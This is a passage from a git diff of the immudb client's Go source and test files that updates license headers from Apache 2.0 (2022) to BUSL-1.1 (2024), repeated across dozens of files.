on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/misc_test.go b/cmd/immuclient/cli/misc_test.go index 05b5058016..63c6dcb381 100644 --- a/cmd/immuclient/cli/misc_test.go +++ b/cmd/immuclient/cli/misc_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/recommend.go b/cmd/immuclient/cli/recommend.go index 21ee4681fc..63f175d59b 100644 --- a/cmd/immuclient/cli/recommend.go +++ b/cmd/immuclient/cli/recommend.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/recommend_test.go b/cmd/immuclient/cli/recommend_test.go index d4c428892f..5a768af49f 100644 --- a/cmd/immuclient/cli/recommend_test.go +++ b/cmd/immuclient/cli/recommend_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/references.go b/cmd/immuclient/cli/references.go index 252639a148..8297f4a3e8 100644 --- a/cmd/immuclient/cli/references.go +++ b/cmd/immuclient/cli/references.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/references_test.go b/cmd/immuclient/cli/references_test.go index 5e5349ae2e..678e6fb0a4 100644 --- a/cmd/immuclient/cli/references_test.go +++ b/cmd/immuclient/cli/references_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/register.go b/cmd/immuclient/cli/register.go index 2e8b0f786f..55ed2d1bd2 100644 --- a/cmd/immuclient/cli/register.go +++ b/cmd/immuclient/cli/register.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/register_test.go b/cmd/immuclient/cli/register_test.go index 4c34549254..9d0a7cf8ae 100644 --- a/cmd/immuclient/cli/register_test.go +++ b/cmd/immuclient/cli/register_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/scanners.go b/cmd/immuclient/cli/scanners.go index 529ff4d92f..8baa5bb784 100644 --- a/cmd/immuclient/cli/scanners.go +++ b/cmd/immuclient/cli/scanners.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/scanners_test.go b/cmd/immuclient/cli/scanners_test.go index ba47a2fbeb..335de99246 100644 --- a/cmd/immuclient/cli/scanners_test.go +++ b/cmd/immuclient/cli/scanners_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/server_info.go b/cmd/immuclient/cli/server_info.go index 75b4c91a38..5d35106d06 100644 --- a/cmd/immuclient/cli/server_info.go +++ b/cmd/immuclient/cli/server_info.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/setcommands.go b/cmd/immuclient/cli/setcommands.go index d0d11188c7..8082599c8e 100644 --- a/cmd/immuclient/cli/setcommands.go +++ b/cmd/immuclient/cli/setcommands.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/setcommands_test.go b/cmd/immuclient/cli/setcommands_test.go index c18d97c6d2..8240158366 100644 --- a/cmd/immuclient/cli/setcommands_test.go +++ b/cmd/immuclient/cli/setcommands_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/sql.go b/cmd/immuclient/cli/sql.go index dc0581f35f..bc6c2163a4 100644 --- a/cmd/immuclient/cli/sql.go +++ b/cmd/immuclient/cli/sql.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/sql_test.go b/cmd/immuclient/cli/sql_test.go index a2c9ad2c28..5bf2801761 100644 --- a/cmd/immuclient/cli/sql_test.go +++ b/cmd/immuclient/cli/sql_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/unixcmds.go b/cmd/immuclient/cli/unixcmds.go index d0f30ab54d..231326663f 100644 --- a/cmd/immuclient/cli/unixcmds.go +++ b/cmd/immuclient/cli/unixcmds.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/cli/unixcmds_test.go b/cmd/immuclient/cli/unixcmds_test.go index a1d749f58e..84ed9d7d4f 100644 --- a/cmd/immuclient/cli/unixcmds_test.go +++ b/cmd/immuclient/cli/unixcmds_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/cmd.go b/cmd/immuclient/command/cmd.go index 9420918959..0e200aed2f 100644 --- a/cmd/immuclient/command/cmd.go +++ b/cmd/immuclient/command/cmd.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/cmd_test.go b/cmd/immuclient/command/cmd_test.go index 25088322dc..32aba64668 100644 --- a/cmd/immuclient/command/cmd_test.go +++ b/cmd/immuclient/command/cmd_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/commandline_test.go b/cmd/immuclient/command/commandline_test.go index cba4b7c1a8..8cd636b1a4 100644 --- a/cmd/immuclient/command/commandline_test.go +++ b/cmd/immuclient/command/commandline_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/currentstatus.go b/cmd/immuclient/command/currentstatus.go index cb44f926b4..5ec63c0505 100644 --- a/cmd/immuclient/command/currentstatus.go +++ b/cmd/immuclient/command/currentstatus.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/currentstatus_test.go b/cmd/immuclient/command/currentstatus_test.go index a2631b37fe..ee3f39c31c 100644 --- a/cmd/immuclient/command/currentstatus_test.go +++ b/cmd/immuclient/command/currentstatus_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/getcommands.go b/cmd/immuclient/command/getcommands.go index cf344cfdd8..4d6e7f8b4a 100644 --- a/cmd/immuclient/command/getcommands.go +++ b/cmd/immuclient/command/getcommands.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/getcommands_test.go b/cmd/immuclient/command/getcommands_test.go index a9261bf283..265cf32e9f 100644 --- a/cmd/immuclient/command/getcommands_test.go +++ b/cmd/immuclient/command/getcommands_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/init.go b/cmd/immuclient/command/init.go index b0cf619cb7..f6ab552e15 100644 --- a/cmd/immuclient/command/init.go +++ b/cmd/immuclient/command/init.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/init_test.go b/cmd/immuclient/command/init_test.go index fd0d80249f..595723b5f4 100644 --- a/cmd/immuclient/command/init_test.go +++ b/cmd/immuclient/command/init_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/login.go b/cmd/immuclient/command/login.go index 354ef4dc4e..3b73f08217 100644 --- a/cmd/immuclient/command/login.go +++ b/cmd/immuclient/command/login.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/login_test.go b/cmd/immuclient/command/login_test.go index 492a76832a..cc3a81f7b1 100644 --- a/cmd/immuclient/command/login_test.go +++ b/cmd/immuclient/command/login_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/misc.go b/cmd/immuclient/command/misc.go index 7745167885..d9e12e1172 100644 --- a/cmd/immuclient/command/misc.go +++ b/cmd/immuclient/command/misc.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/misc_test.go b/cmd/immuclient/command/misc_test.go index e6c90cf417..5c34a9782f 100644 --- a/cmd/immuclient/command/misc_test.go +++ b/cmd/immuclient/command/misc_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/references.go b/cmd/immuclient/command/references.go index 765b3f3fe2..665e82b8ea 100644 --- a/cmd/immuclient/command/references.go +++ b/cmd/immuclient/command/references.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/references_test.go b/cmd/immuclient/command/references_test.go index 0dd7d670df..f176d50164 100644 --- a/cmd/immuclient/command/references_test.go +++ b/cmd/immuclient/command/references_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/root.go b/cmd/immuclient/command/root.go index 9fff479f4f..e81fc6550f 100644 --- a/cmd/immuclient/command/root.go +++ b/cmd/immuclient/command/root.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/scanners.go b/cmd/immuclient/command/scanners.go index 0d114c51b9..c97d59f47f 100644 --- a/cmd/immuclient/command/scanners.go +++ b/cmd/immuclient/command/scanners.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/scanners_test.go b/cmd/immuclient/command/scanners_test.go index 2d7e72aa68..8c9142acfe 100644 --- a/cmd/immuclient/command/scanners_test.go +++ b/cmd/immuclient/command/scanners_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/server_info_test.go b/cmd/immuclient/command/server_info_test.go index ddbbc5aae9..80a33d57a7 100644 --- a/cmd/immuclient/command/server_info_test.go +++ b/cmd/immuclient/command/server_info_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/setcommands.go b/cmd/immuclient/command/setcommands.go index 02268ebeff..8b66c9a54e 100644 --- a/cmd/immuclient/command/setcommands.go +++ b/cmd/immuclient/command/setcommands.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/setcommands_test.go b/cmd/immuclient/command/setcommands_test.go index 89e7a51b6b..4b0ae86672 100644 --- a/cmd/immuclient/command/setcommands_test.go +++ b/cmd/immuclient/command/setcommands_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/sql.go b/cmd/immuclient/command/sql.go index 779162a952..a72a110dac 100644 --- a/cmd/immuclient/command/sql.go +++ b/cmd/immuclient/command/sql.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/tamperproofing.go b/cmd/immuclient/command/tamperproofing.go index ab7842069d..2232de3b6e 100644 --- a/cmd/immuclient/command/tamperproofing.go +++ b/cmd/immuclient/command/tamperproofing.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/command/tamperproofing_test.go b/cmd/immuclient/command/tamperproofing_test.go index 155f1f3a73..c33c495572 100644 --- a/cmd/immuclient/command/tamperproofing_test.go +++ b/cmd/immuclient/command/tamperproofing_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/fips/fips.go b/cmd/immuclient/fips/fips.go index 4956a590d3..cf01a70fdb 100644 --- a/cmd/immuclient/fips/fips.go +++ b/cmd/immuclient/fips/fips.go @@ -2,13 +2,13 @@ // +build fips /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/currentstatus.go b/cmd/immuclient/immuc/currentstatus.go index 1b77401b09..c28237681b 100644 --- a/cmd/immuclient/immuc/currentstatus.go +++ b/cmd/immuclient/immuc/currentstatus.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/currentstatus_errors_test.go b/cmd/immuclient/immuc/currentstatus_errors_test.go index 0e5e9e9955..3d3edd04c6 100644 --- a/cmd/immuclient/immuc/currentstatus_errors_test.go +++ b/cmd/immuclient/immuc/currentstatus_errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/currentstatus_test.go b/cmd/immuclient/immuc/currentstatus_test.go index 3454414716..ffd732a5af 100644 --- a/cmd/immuclient/immuc/currentstatus_test.go +++ b/cmd/immuclient/immuc/currentstatus_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/getcommands.go b/cmd/immuclient/immuc/getcommands.go index d49a84d49d..a27fa8395d 100644 --- a/cmd/immuclient/immuc/getcommands.go +++ b/cmd/immuclient/immuc/getcommands.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/cmd/immuclient/immuc/getcommands_errors_test.go b/cmd/immuclient/immuc/getcommands_errors_test.go index 